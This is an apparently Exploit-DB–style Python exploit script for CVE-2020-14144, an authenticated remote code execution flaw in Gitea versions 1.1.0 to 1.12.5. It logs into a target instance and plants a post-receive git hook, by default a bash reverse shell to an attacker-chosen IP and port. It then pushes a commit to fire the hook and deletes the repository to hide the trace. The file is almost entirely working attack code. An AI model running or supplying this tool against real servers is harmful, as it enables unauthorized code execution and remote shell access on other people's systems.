245 lines
No EOL
9 KiB
Python
Executable file
245 lines
No EOL
9 KiB
Python
Executable file
# Exploit Title: Gitea 1.12.5 - Remote Code Execution (Authenticated)
|
|
# Date: 17 Feb 2020
|
|
# Exploit Author: Podalirius
|
|
# PoC demonstration article: https://podalirius.net/en/articles/exploiting-cve-2020-14144-gitea-authenticated-remote-code-execution/
|
|
# Vendor Homepage: https://gitea.io/
|
|
# Software Link: https://dl.gitea.io/
|
|
# Version: >= 1.1.0 to <= 1.12.5
|
|
# Tested on: Ubuntu 16.04 with GiTea 1.6.1
|
|
|
|
#!/usr/bin/env python3
|
|
# -*- coding: utf-8 -*-
|
|
|
|
import argparse
|
|
import os
|
|
import pexpect
|
|
import random
|
|
import re
|
|
import sys
|
|
import time
|
|
|
|
import requests
|
|
requests.packages.urllib3.disable_warnings()
|
|
requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
|
|
try:
|
|
requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
|
|
except AttributeError:
|
|
pass
|
|
|
|
class GiTea(object):
|
|
def __init__(self, host, verbose=False):
|
|
super(GiTea, self).__init__()
|
|
self.verbose = verbose
|
|
self.host = host
|
|
self.username = None
|
|
self.password = None
|
|
self.uid = None
|
|
self.session = None
|
|
|
|
def _get_csrf(self, url):
|
|
pattern = 'name="_csrf" content="([a-zA-Z0-9\-\_=]+)"'
|
|
csrf = []
|
|
while len(csrf) == 0:
|
|
r = self.session.get(url)
|
|
csrf = re.findall(pattern, r.text)
|
|
time.sleep(1)
|
|
csrf = csrf[0]
|
|
return csrf
|
|
|
|
def _get_uid(self, url):
|
|
pattern = 'name="_uid" content="([0-9]+)"'
|
|
uid = re.findall(pattern, self.session.get(url).text)
|
|
while len(uid) == 0:
|
|
time.sleep(1)
|
|
uid = re.findall(pattern, self.session.get(url).text)
|
|
uid = uid[0]
|
|
return int(uid)
|
|
|
|
def login(self, username, password):
|
|
if self.verbose == True:
|
|
print(" [>] login('%s', ...)" % username)
|
|
self.session = requests.Session()
|
|
r = self.session.get('%s/user/login' % self.host)
|
|
self.username = username
|
|
self.password = password
|
|
|
|
# Logging in
|
|
csrf = self._get_csrf(self.host)
|
|
r = self.session.post(
|
|
'%s/user/login?redirect_to=%%2f%s' % (self.host, self.username),
|
|
data = {'_csrf':csrf, 'user_name':username, 'password':password},
|
|
allow_redirects=True
|
|
)
|
|
if b'Username or password is incorrect.' in r.content:
|
|
return False
|
|
else:
|
|
# Getting User id
|
|
self.uid = self._get_uid(self.host)
|
|
return True
|
|
|
|
def repo_create(self, repository_name):
|
|
if self.verbose == True:
|
|
print(" [>] Creating repository : %s" % repository_name)
|
|
csrf = self._get_csrf(self.host)
|
|
# Create repo
|
|
r = self.session.post(
|
|
'%s/repo/create' % self.host,
|
|
data = {
|
|
'_csrf' : csrf,
|
|
'uid' : self.uid,
|
|
'repo_name' : repository_name,
|
|
'description' : "Lorem Ipsum",
|
|
'gitignores' : '',
|
|
'license' : '',
|
|
'readme' : 'Default',
|
|
'auto_init' : 'off'
|
|
}
|
|
)
|
|
return None
|
|
|
|
def repo_delete(self, repository_name):
|
|
if self.verbose == True:
|
|
print(" [>] Deleting repository : %s" % repository_name)
|
|
csrf = self._get_csrf('%s/%s/%s/settings' % (self.host, self.username, repository_name))
|
|
# Delete repository
|
|
r = self.session.post(
|
|
'%s/%s/%s/settings' % (self.host, self.username, repository_name),
|
|
data = {
|
|
'_csrf' : csrf,
|
|
'action' : "delete",
|
|
'repo_name' : repository_name
|
|
}
|
|
)
|
|
return
|
|
|
|
def repo_set_githook_pre_receive(self, repository_name, content):
|
|
if self.verbose == True:
|
|
print(" [>] repo_set_githook_pre_receive('%s')" % repository_name)
|
|
csrf = self._get_csrf('%s/%s/%s/settings/hooks/git/pre-receive' % (self.host, self.username, repository_name))
|
|
# Set pre receive git hook
|
|
r = self.session.post(
|
|
'%s/%s/%s/settings/hooks/git/pre-receive' % (self.host, self.username, repository_name),
|
|
data = {
|
|
'_csrf' : csrf,
|
|
'content' : content
|
|
}
|
|
)
|
|
return
|
|
|
|
def repo_set_githook_update(self, repository_name, content):
|
|
if self.verbose == True:
|
|
print(" [>] repo_set_githook_update('%s')" % repository_name)
|
|
csrf = self._get_csrf('%s/%s/%s/settings/hooks/git/update' % (self.host, self.username, repository_name))
|
|
# Set update git hook
|
|
r = self.session.post(
|
|
'%s/%s/%s/settings/hooks/git/update' % (self.host, self.username, repository_name),
|
|
data = {
|
|
'_csrf' : csrf,
|
|
'content' : content
|
|
}
|
|
)
|
|
return
|
|
|
|
def repo_set_githook_post_receive(self, repository_name, content):
|
|
if self.verbose == True:
|
|
print(" [>] repo_set_githook_post_receive('%s')" % repository_name)
|
|
csrf = self._get_csrf('%s/%s/%s/settings/hooks/git/post-receive' % (self.host, self.username, repository_name))
|
|
# Set post receive git hook
|
|
r = self.session.post(
|
|
'%s/%s/%s/settings/hooks/git/post-receive' % (self.host, self.username, repository_name),
|
|
data = {
|
|
'_csrf' : csrf,
|
|
'content' : content
|
|
}
|
|
)
|
|
return
|
|
|
|
def logout(self):
|
|
if self.verbose == True:
|
|
print(" [>] logout()")
|
|
# Logging out
|
|
r = self.session.get('%s/user/logout' % self.host)
|
|
return None
|
|
|
|
|
|
def trigger_exploit(host, username, password, repository_name, verbose=False):
|
|
# Create a temporary directory
|
|
tmpdir = os.popen('mktemp -d').read().strip()
|
|
os.chdir(tmpdir)
|
|
# We create some files in the repository
|
|
os.system('touch README.md')
|
|
rndstring = ''.join([hex(random.randint(0,15))[2:] for k in range(32)])
|
|
os.system('echo "%s" >> README.md' % rndstring)
|
|
os.system('git init')
|
|
os.system('git add README.md')
|
|
os.system('git commit -m "Initial commit"')
|
|
# Connect to remote source repository
|
|
os.system('git remote add origin %s/%s/%s.git' % (host, username, repository_name))
|
|
# Push the files (it will trigger post-receive git hook)
|
|
conn = pexpect.spawn("/bin/bash -c 'cd %s && git push -u origin master'" % tmpdir)
|
|
conn.expect("Username for .*: ")
|
|
conn.sendline(username)
|
|
conn.expect("Password for .*: ")
|
|
conn.sendline(password)
|
|
conn.expect("Total.*")
|
|
print(conn.before.decode('utf-8').strip())
|
|
return None
|
|
|
|
def header():
|
|
print(""" _____ _ _______
|
|
/ ____(_)__ __| CVE-2020-14144
|
|
| | __ _ | | ___ __ _
|
|
| | |_ | | | |/ _ \/ _` | Authenticated Remote Code Execution
|
|
| |__| | | | | __/ (_| |
|
|
\_____|_| |_|\___|\__,_| GiTea versions >= 1.1.0 to <= 1.12.5
|
|
""")
|
|
|
|
if __name__ == '__main__':
|
|
header()
|
|
parser = argparse.ArgumentParser(description='Process some integers.')
|
|
parser.add_argument('-v','--verbose', required=False, default=False, action='store_true', help='Increase verbosity.')
|
|
|
|
parser.add_argument('-t','--target', required=True, type=str, help='Target host (http://..., https://... or domain name)')
|
|
parser.add_argument('-u','--username', required=True, type=str, default=None, help='GiTea username')
|
|
parser.add_argument('-p','--password', required=True, type=str, default=None, help='GiTea password')
|
|
|
|
parser.add_argument('-I','--rev-ip', required=False, type=str, default=None, help='Reverse shell listener IP')
|
|
parser.add_argument('-P','--rev-port', required=False, type=int, default=None, help='Reverse shell listener port')
|
|
|
|
parser.add_argument('-f','--payload-file', required=False, default=None, help='Path to shell script payload to use.')
|
|
|
|
args = parser.parse_args()
|
|
|
|
if (args.rev_ip == None or args.rev_port == None):
|
|
if args.payload_file == None:
|
|
print('[!] Either (-I REV_IP and -P REV_PORT) or (-f PAYLOAD_FILE) options are needed')
|
|
sys.exit(-1)
|
|
|
|
# Read specific payload file
|
|
if args.payload_file != None:
|
|
f = open(args.payload_file, 'r')
|
|
hook_payload = ''.join(f.readlines())
|
|
f.close()
|
|
else:
|
|
hook_payload = """#!/bin/bash\nbash -i >& /dev/tcp/%s/%d 0>&1 &\n""" % (args.rev_ip, args.rev_port)
|
|
|
|
if args.target.startswith('http://'):
|
|
pass
|
|
elif args.target.startswith('https://'):
|
|
pass
|
|
else:
|
|
args.target = 'https://' + args.target
|
|
|
|
print('[+] Starting exploit ...')
|
|
g = GiTea(args.target, verbose=args.verbose)
|
|
if g.login(args.username, args.password):
|
|
reponame = 'vuln'
|
|
g.repo_delete(reponame)
|
|
g.repo_create(reponame)
|
|
g.repo_set_githook_post_receive(reponame, hook_payload)
|
|
g.logout()
|
|
trigger_exploit(g.host, g.username, g.password, reponame, verbose=args.verbose)
|
|
g.repo_delete(reponame)
|
|
else:
|
|
print('\x1b[1;91m[!]\x1b[0m Could not login with these credentials.')
|
|
print('[+] Exploit completed !') |